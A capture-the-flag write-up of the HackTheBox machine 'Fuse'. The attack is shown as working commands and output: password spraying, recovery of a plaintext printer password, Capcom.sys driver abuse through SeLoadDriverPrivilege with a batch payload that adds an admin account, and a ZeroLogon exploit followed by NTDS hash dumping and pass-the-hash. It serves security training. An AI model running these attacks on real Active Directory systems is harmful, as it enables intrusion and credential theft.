Posts HackTheBox — Fuse Writeup
Post
Cancel

HackTheBox — Fuse Writeup

Fuse is based on Printers in corporate environment making it quite realistic machine, We’ll complete it using both Intended and Unintended method. We start off with web enumeration of a printer page, collecting potential usernames from several print job logs the use cewl to create a password wordlist. Using this data we initiate a Password Spray attack where we discover users with expired password then change the password of a account, use it to access rpcclient where we discover a password inside printer description. Using this password we get WinRM access of a printer service account with SeLoadDriverPrivilege enabled which allows the user to load kernel drivers. For abusing this privilege we’ll make use of infamous Capcom driver to load a payload which creates a local administrator account and access it via WinRM. In Unintended method we’ll exploit ZeroLogon (CVE-2020-1472) to dump Admin NT hash.

Reconnaissance

masscan

Starting with masscan for a full TCP & UDP port scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cfx:  ~/Documents/htb/fuse
→ masscan -e tun0 -p1-65535,U:1-65535 --rate 500 10.10.10.193 | tee masscan.allports

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-11-01 07:48:28 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 3268/tcp on 10.10.10.193
Discovered open port 5985/tcp on 10.10.10.193
Discovered open port 135/tcp on 10.10.10.193
Discovered open port 49667/tcp on 10.10.10.193
Discovered open port 49679/tcp on 10.10.10.193
Discovered open port 49676/tcp on 10.10.10.193
Discovered open port 53/tcp on 10.10.10.193
Discovered open port 9389/tcp on 10.10.10.193
Discovered open port 80/tcp on 10.10.10.193
Discovered open port 464/tcp on 10.10.10.193
Discovered open port 49753/tcp on 10.10.10.193
Discovered open port 88/tcp on 10.10.10.193
Discovered open port 445/tcp on 10.10.10.193
Discovered open port 49675/tcp on 10.10.10.193
Discovered open port 636/tcp on 10.10.10.193
Discovered open port 49666/tcp on 10.10.10.193
Discovered open port 3269/tcp on 10.10.10.193
Discovered open port 49695/tcp on 10.10.10.193
Discovered open port 593/tcp on 10.10.10.193
Discovered open port 53/udp on 10.10.10.193
Discovered open port 139/tcp on 10.10.10.193
Discovered open port 389/tcp on 10.10.10.193

masscan discovered twenty one ports, let’s format them using awk and sed for nmap:

1
2
3
cfx:  ~/Documents/htb/fuse
→ cat masscan.allports | sed s/'Discovered open port //' | awk -F/ '{print $1}' | awk '!seen[$0]++' ORS=','
3268,5985,135,49667,49679,49676,53,9389,80,464,49753,88,445,49675,636,49666,3269,49695,593,139,389,

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
cfx:  ~/Documents/htb/fuse
→ nmap -sC -sV -p3268,5985,135,49667,49679,49676,53,9389,80,464,49753,88,445,49675,636,49666,3269,49695,593,139,389 10.10.10.193
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 13:40 IST
Nmap scan report for 10.10.10.193
Host is up (0.21s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-11-01 08:25:23Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49675/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc        Microsoft Windows RPC
49679/tcp open  msrpc        Microsoft Windows RPC
49695/tcp open  msrpc        Microsoft Windows RPC
49753/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h34m20s, deviation: 4h02m31s, median: 14m18s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Fuse
|   NetBIOS computer name: FUSE\x00
|   Domain name: fabricorp.local
|   Forest name: fabricorp.local
|   FQDN: Fuse.fabricorp.local
|_  System time: 2020-11-01T01:26:18-07:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2020-11-01T08:26:17
|_  start_date: 2020-11-01T07:07:26

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.13 seconds

Ton’s of open ports & services, looks like we have a domain controller in play.

Port Scanning Summary:

  • Port 53: DNS
  • Port 80: HTTP Service on Microsoft-IIS/10.0
  • Port 88: kerberos-sec - Active Directory authentication protocol
  • Port 135,593: - Windows RPC & RPC over HTTP 1.0
  • Port 445: SMB
  • Port 389,3268,3269: LDAP & LDAP GC
  • Port 636: LDAPS
  • Port 464: kpasswd5 (Kerberos Change/Set password )
  • Port 9389: .NET Remoting Services
  • Port 5985: WinRM
  • Port 49666,49667,49675,49676,49679,49695,49754 - Other Windows RPC ports

Important Notes from Nmap results:

  • Netbios name: FUSE
  • Domain name: fabricorp.local
  • OS: Windows Server 2016 Standard 14393

Port 445 : SMB

Although we got the Domain and OS details from nmap results, but it’s always good to try different tools to confirm the results and what’s better than CrackMapExec :

CrackMapExec

We can confirm the results are matching:

1
2
3
cfx:  ~/Documents/htb/fuse
→ cme smb 10.10.10.193
SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)

SMB Enumeration

crackmapexec confirms null session is not allowed:

1
2
3
4
cfx:  ~/Documents/htb/fuse
→ cme smb 10.10.10.193 -u '' -p ''
SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\: STATUS_ACCESS_DENIED

Port 135 : RPC

RPC Enumeration

Using null session we can connect to rpcclient but unfortunately it’s of no use as we are not authorized to access anything:

1
2
3
4
5
cfx:  ~/Documents/htb/fuse
→ rpcclient 10.10.10.193 -U ''
Enter WORKGROUP\'s password:
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED

Port 80 - HTTP Service

fuse.fabricorp.local

Visiting http://10.10.10.193 we get redirected to http://fuse.fabricorp.local/papercut/logs/html/index.htm

1
2
3
cfx:  ~/Documents/htb/fuse
→ curl http://10.10.10.193
<meta http-equiv="refresh" content="0; url=http://fuse.fabricorp.local/papercut/logs/html/index.htm" />

Let’s add the Domain and Subdomain to /etc/hosts

1
2
3
cfx:  ~/Documents/htb/fuse
→ cat /etc/hosts | grep fabricorp
10.10.10.193    fabricorp.local fuse.fabricorp.local

Looking at the site, It appears the host is running Paper Cut Print logger application.

PaperCut Print Logger is a free print logging application for Windows systems designed to provider real-time activity tracking and listing of all printer use. The print log contains; time of print, the name of the user who printed, the total number of pages, document names and titles, other job attributes such as paper size, color mode. Print logs are available in a viewer friendly HTML format, or in CSV or Excel format for advanced users needing the data for further analysis.

website

Going through each of the Print logs, we can gather potential usernames :

log

1
2
3
4
5
6
7
cfx:  ~/Documents/htb/fuse
→ cat users.txt
pmerton
tlavel
sthompson
bhult
administrator

Credential Hunting

Since, We didn’t obtain anything useful out of SMB and RPC enumeration, we don’t have much options to go ahead. But we do have potential list of usernames on the machine via Print logs, that gives us an option to try password spraying.

Password Spraying

We’ll make a wordlist using cewl along with --with-numbers flag which helps for creating wordlist contains numbers and try to spray it against SMB, maybe we’ll get lucky:

Wordlist

1
2
cfx:  ~/Documents/htb/fuse
→ cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > dict.txt

After removing cewl banner from the list we have 169 words in our wordlist:

1
2
3
cfx:  ~/Documents/htb/fuse
→ wc -l dict.txt
169 dict.txt

Brute force

We’ll use crackmapexec to brute force, I’ll also include --continue-on-success flag which will keep running the brute force even after a successful login.

Since, we get multiple failed attempt results as well, We will use grep to exclude anything with FAILURE in the result:

1
2
3
4
5
cfx:  ~/Documents/htb/fuse
→ cme smb 10.10.10.193 -u users.txt -p dict.txt --continue-on-success | grep -v FAILURE
SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE

Interesting as we got Two users with STATUS_PASSWORD_MUST_CHANGE, both having same password. It seems each user was assigned default password and later had to change it.

Password Changing

We’ll target use bhult, For changing the password we can use smbpasswd tool, It seems even after we reset the password, the box reverts it to default password every minute (I guess!). So we need to be bit quick :

There is some password criteria as well and if it doesn’t meet, we get the following error:

1
2
3
4
5
6
cfx:  ~/Documents/htb/fuse
→ smbpasswd -r 10.10.10.193 -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : When trying to update a password, this status indicates that some password update rule has been violated. For example, the password might not meet length criteria..

So I’ll change the password to ColdFusi0nX as it meets most the usual password criteria’s.

1
2
3
4
5
6
cfx:  ~/Documents/htb/fuse
→ smbpasswd -r 10.10.10.193 -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user bhult on 10.10.10.193.

Shell as svc-print

SMB - bhult

Using new creds we are able to list SMB shares.

As user bhult we have READ permission on print$ share, I tried connecting to it but didn’t find anything interesting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cfx:  ~/Documents/htb/fuse
→ cme smb 10.10.10.193 -u bhult -p 'ColdFusi0nX' --shares
SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB         10.10.10.193    445    FUSE             [+] fabricorp.local\bhult:ColdFusi0nX
SMB         10.10.10.193    445    FUSE             [+] Enumerated shares
SMB         10.10.10.193    445    FUSE             Share           Permissions     Remark
SMB         10.10.10.193    445    FUSE             -----           -----------     ------
SMB         10.10.10.193    445    FUSE             ADMIN$                          Remote Admin
SMB         10.10.10.193    445    FUSE             C$                              Default share
SMB         10.10.10.193    445    FUSE             HP-MFT01                        HP-MFT01
SMB         10.10.10.193    445    FUSE             IPC$                            Remote IPC
SMB         10.10.10.193    445    FUSE             NETLOGON        READ            Logon server share
SMB         10.10.10.193    445    FUSE             print$          READ            Printer Drivers
SMB         10.10.10.193    445    FUSE             SYSVOL          READ            Logon server share

RPC - bhult

Next, we will hop on to RPC :

1
2
3
4
cfx:  ~/Documents/htb/fuse
→ rpcclient -U bhult 10.10.10.193
Enter WORKGROUP\bhult's password:
rpcclient $>

Let’s check the users on the box using enumdomusers :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

Seems there are more users than we observed in print logs.

Also, Because of what we have seen so far, box has something to do with Printer. So let’s enumerate printers using enumprinters :

1
2
3
4
5
rpcclient $> enumprinters
        flags:[0x800000]
        name:[\\10.10.10.193\HP-MFT01]
        description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
        comment:[]

It appears we got a password $fab@s3Rv1ce$1

Username Hunt

Let’s test this password against others users we got from RPC, I’ll copy the output of rpc, extract usernames and save it inside a new file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cfx:  ~/Documents/htb/fuse
→ cat users_rpc.txt
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

cfx:  ~/Documents/htb/fuse
→ cat users_rpc.txt | awk -F] '{print $1}' | awk -F[ '{print $2}'
Administrator
Guest
krbtgt
DefaultAccount
svc-print
bnielson
sthompson
tlavel
pmerton
svc-scan
bhult
dandrews
mberbatov
astein
dmuir

cfx:  ~/Documents/htb/fuse
→ cat users_rpc.txt | awk -F] '{print $1}' | awk -F[ '{print $2}' > rpc_users.txt

Now let’s run crackmapexec:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cfx:  ~/Documents/htb/fuse
→ cme smb 10.10.10.193 -u rpc_users.txt -p '$fab@s3Rv1ce$1' --continue-on-success
SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\Administrator:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\Guest:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\krbtgt:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\DefaultAccount:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\bnielson:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\sthompson:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [+] fabricorp.local\svc-scan:$fab@s3Rv1ce$1
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\bhult:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\dandrews:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\mberbatov:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\astein:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\dmuir:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE

Great ! So we have two users using this password. Rather than jumping to enumerating SMB shares of these users let’s check if any of the user is allowed to connect remotely using WinRM

Again using crackmapexec we can check it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cfx:  ~/Documents/htb/fuse
→ cme winrm 10.10.10.193 -u rpc_users.txt -p '$fab@s3Rv1ce$1' --continue-on-success
WINRM       10.10.10.193    5985   FUSE             [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM       10.10.10.193    5985   FUSE             [*] http://10.10.10.193:5985/wsman
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\Administrator:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\Guest:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\krbtgt:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\DefaultAccount:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\bnielson:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\sthompson:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\tlavel:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\pmerton:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\svc-scan:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\bhult:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\dandrews:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\mberbatov:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\astein:$fab@s3Rv1ce$1
WINRM       10.10.10.193    5985   FUSE             [-] fabricorp.local\dmuir:$fab@s3Rv1ce$1

WinRM Shell

We can get a WinRM shell using Evil-WinRM with svc-print:$fab@s3Rv1ce$1 :

1
2
3
4
5
6
7
8
9
cfx:  ~/Documents/htb/fuse
→ evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami
fabricorp\svc-print

user.txt

1
2
3
*Evil-WinRM* PS C:\Users\svc-print\Desktop> get-content user.txt
dc9ab9df5c97cdd*****************

Elevating Priv: svc-print -> Administrator

Going through the privileges, we can see SeLoadDriverPrivilege is enabled, which is quite interesting:

1
2
3
4
5
6
7
8
9
10
11
12
*Evil-WinRM* PS C:\Users\svc-print\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeLoadDriverPrivilege         Load and unload device drivers Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

It appears SeLoadDriverPrivilege is enabled because the user svc-print is a member of Print Operators and is quite dangerous as it allows user to load kernel drivers leading to code execution with SYSTEM privileges.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\Users\svc-print\Desktop> net user svc-print
User name                    svc-print
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/30/2020 4:27:08 PM
Password expires             Never
Password changeable          5/31/2020 4:27:08 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   11/1/2020 2:34:00 AM

Logon hours allowed          All

Local Group Memberships      *Print Operators
Global Group memberships     *Domain Users         *IT_Accounts
The command completed successfully.

Attack Scenario

A quick Google search on SeLoadDriverPrivilege leads us to this blog post from Tarlogic which explains quite neatly on how to abuse this Privilege.

We’ll compile all the files inside a Windows VM using Visual Studio Community.

Step 1: Load Driver

For loading capcom.sys we’ll need driver loader tool, code is available here we just need to compile it as it is without any modifications.

First, We need to install Visual Studio with Desktop Development for C++ option, once installed we’ll create a new project in Visual Studio selecting C++ Console App:

code

On next windows, We’ll name it as LoadDriverPriv:

code1

Now We’ll have a sample Hello World code inside the project which we need to replace with driver code and save it, We’ll see a error regarding include "stdafx.h" but we can just remove the line and move ahead.

By default the project build would be set to debug we’ll set it to Release and x64 :

code2

Then select Build -> Build Solution, on successful build we should see the following output:

code3

Successfully compiled! We’ll copy the generated LoadDriverPriv.exe to our kali machine.

Step 2: Capcom.sys driver

We’ll just download Vulnerable Capcom Signed driver available here : https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/Capcom/Capcom.sys and save it our kali machine.

Step 3: ExploitCapcom

We’ll start by downloading this project from tandasat which is a standalone exploit to exploit vulnerable Capcom.sys. This is actually Full Visual studio project, we’ll clone the repo on our machine.

Inside ExploitCapcom folder, there a ExploitCapcom.sln which is a visual studio solution file. To open the .sln file from Visual studio itself we select File -> Open -> Project/Solution, Or we can just double click the ExploitCapcom.sln which should also open the project.

code4

Modify Code

Going through the exploit, We understand Default code is set to pop up cmd.exe with elevated system privileges, but that’s not possible for us since we are not running a interactive session.

Instead we’ll change the CommandLine string to load cfx.bat a batch file located at C:\Priv\cfx.bat

code5

Now after changing the code, select the dropdown to Release and x64, then select Build -> Build Solution. Once completed We need to copy the ExploitCapcom.exe to our kali machine.

Generate Payload

We need to create cfx.bat and Whichever commands we input inside cfx.bat it will run as SYSTEM.

So, Instead of getting a reverse shell as SYSTEM, Inside cfx.bat We’ll input commands to create a new user with credentials coldfusion:ColdFusi0nX and also add this user to Administrators Local group.

cfx.bat

1
2
3
4
5
cfx:  ~/Documents/htb/fuse
→ cat cfx.bat
C:\Windows\System32\net.exe users coldfusion ColdFusi0nX /add
C:\Windows\System32\net.exe localgroup administrators coldfusion /add

Now that we have all the files ready, we can proceed with the exploitation. You can also find the files on my repo

Exploitation

First, we will create a Directory Priv inside C:\ and upload LoadDriverPriv.exe, Capcom.sys, ExploitCapcom.exe & cfx.bat into it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
*Evil-WinRM* PS C:\> mkdir Priv

*Evil-WinRM* PS C:\> cd Priv

*Evil-WinRM* PS C:\Priv> upload LoadDriverPriv.exe
Info: Uploading LoadDriverPriv.exe to C:\Priv\LoadDriverPriv.exe


Data: 20480 bytes of 20480 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Priv> upload Capcom.sys
Info: Uploading Capcom.sys to C:\Priv\Capcom.sys


Data: 14100 bytes of 14100 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Priv> upload ExploitCapcom.exe
Info: Uploading ExploitCapcom.exe to C:\Priv\ExploitCapcom.exe


Data: 363176 bytes of 363176 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Priv> upload cfx.bat
Info: Uploading cfx.bat to C:\Priv\cfx.bat


Data: 176 bytes of 176 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Priv> ls


    Directory: C:\Priv


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/1/2020  10:31 AM          10576 Capcom.sys
-a----        11/1/2020  10:32 AM            132 cfx.bat
-a----        11/1/2020  10:32 AM         272384 ExploitCapcom.exe
-a----        11/1/2020  10:30 AM          15360 LoadDriverPriv.exe

Now we will first load the Capcom.sys driver using LoadDriverPriv.exe as explained in the blog:

1
2
3
4
5
*Evil-WinRM* PS C:\Priv> .\LoadDriverPriv.exe System\CurrentControlSet\cfxservice C:\Priv\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\cfxservice
NTSTATUS: 00000000, WinError: 0

Great! It’s loaded without error.

Now we just need to execute ExploitCapcom.exe

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Priv> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000080
[*] Shellcode was placed at 000001E807BA0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program

Exploit ran without any issues, we can now check and confirm that our user was created successfully.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Priv> net user coldfusion
User name                    coldfusion
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            11/2/2020 10:38:01 AM
Password expires             12/14/2020 10:38:01 AM
Password changeable          11/3/2020 10:38:01 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users
The command completed successfully.

Local Administrator - coldfusion

Now that our user was successfully created, We can get a shell using coldfusion:ColdFusi0nX:

1
2
3
4
5
6
7
8
9
cfx:  ~/Documents/htb/fuse
→  evil-winrm -i 10.10.10.193 -u coldfusion -p ColdFusi0nX

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\coldfusion\Documents> whoami
fabricorp\coldfusion

Since we are a member of Local Administrators group, we are authorized to read root.txt from Administrator’s Desktop:

1
2
3
4
*Evil-WinRM* PS C:\Users\coldfusion\Documents> cd ../../Administrator/Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
562d41d17cbbea2*****************

Administrator Shell

We can also set Administrator’s password as ColdFus1onx:

1
2
*Evil-WinRM* PS C:\Users\coldfusion\Documents> net users administrator ColdFus1onx
The command completed successfully

Now let’s get a new shell as Administrator:

1
2
3
4
5
6
7
8
9
10
11
12
cfx:  ~/Documents/htb/fuse
→ evil-winrm -i 10.10.10.193 -u administrator -p 'ColdFus1onx'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fabricorp\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
562d41d17cbbea2*****************

Unintented Method

Exploiting ZeroLogon (CVE-2020-1472)

I am not fond of this method as it totally eliminates all the hard work & efforts, directly leading you to Admin shell.

Even though it’s not that fun, But the Fact that this was an old Windows Machine released prior to ZeroLogon it is likely to be Vulnerable.

Zerologon is the name that has been given to a vulnerability identified in CVE-2020-1472. It’s called zerologon due to the flaw in the logon process where the initialization vector (IV) is set to all zeros all the time while an Initialization Vector (IV) should always be a random number. Allows to instantly become domain admin by subverting Netlogon cryptography.

We’ll exploit it with reference to this PoC:

1
2
3
4
5
6
7
8
9
cfx:  /opt/CVE-2020-1472  |master ✓|
→ python3 cve-2020-1472-exploit.py FUSE 10.10.10.193
Performing authentication attempts...
===============================================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Now that the exploit has completed successfully, Let’s use Impacket’s secretsdump.py to extract NTDS.DIT data (NTLM hashes and Kerberos keys)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cfx:  /opt/CVE-2020-1472  |master ✓|
→ secretsdump.py -no-pass -just-dc fabricorp.local/FUSE\$@10.10.10.193
Impacket v0.9.22.dev1+20201015.130615.81eec85a - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:370ddcf45959b2293427baa70376e14e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8ee7fac1bd38751dbff06b33616b87b0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc-print:1104:aad3b435b51404eeaad3b435b51404ee:38485fd7730cca53473d0fa6ed27aa71:::
bnielson:1105:aad3b435b51404eeaad3b435b51404ee:8873f0c964ab36700983049e2edd0f77:::
sthompson:1601:aad3b435b51404eeaad3b435b51404ee:5fb3cc8b2f45791e200d740725fdf8fd:::
[..SNIP..]

Admin Shell

Using Administrator NT hash, we can get a shell:

1
2
3
4
5
6
7
8
9
10
11
cfx:  ~/Documents/htb/fuse
→ evil-winrm -i 10.10.10.193 -u Administrator -H '370ddcf45959b2293427baa70376e14e'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fabricorp\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
562d41d17cbbea2*****************

And we pwned the Box !

Thanks for reading, Suggestions & Feedback are appreciated !

This post is licensed under CC BY 4.0 by the author.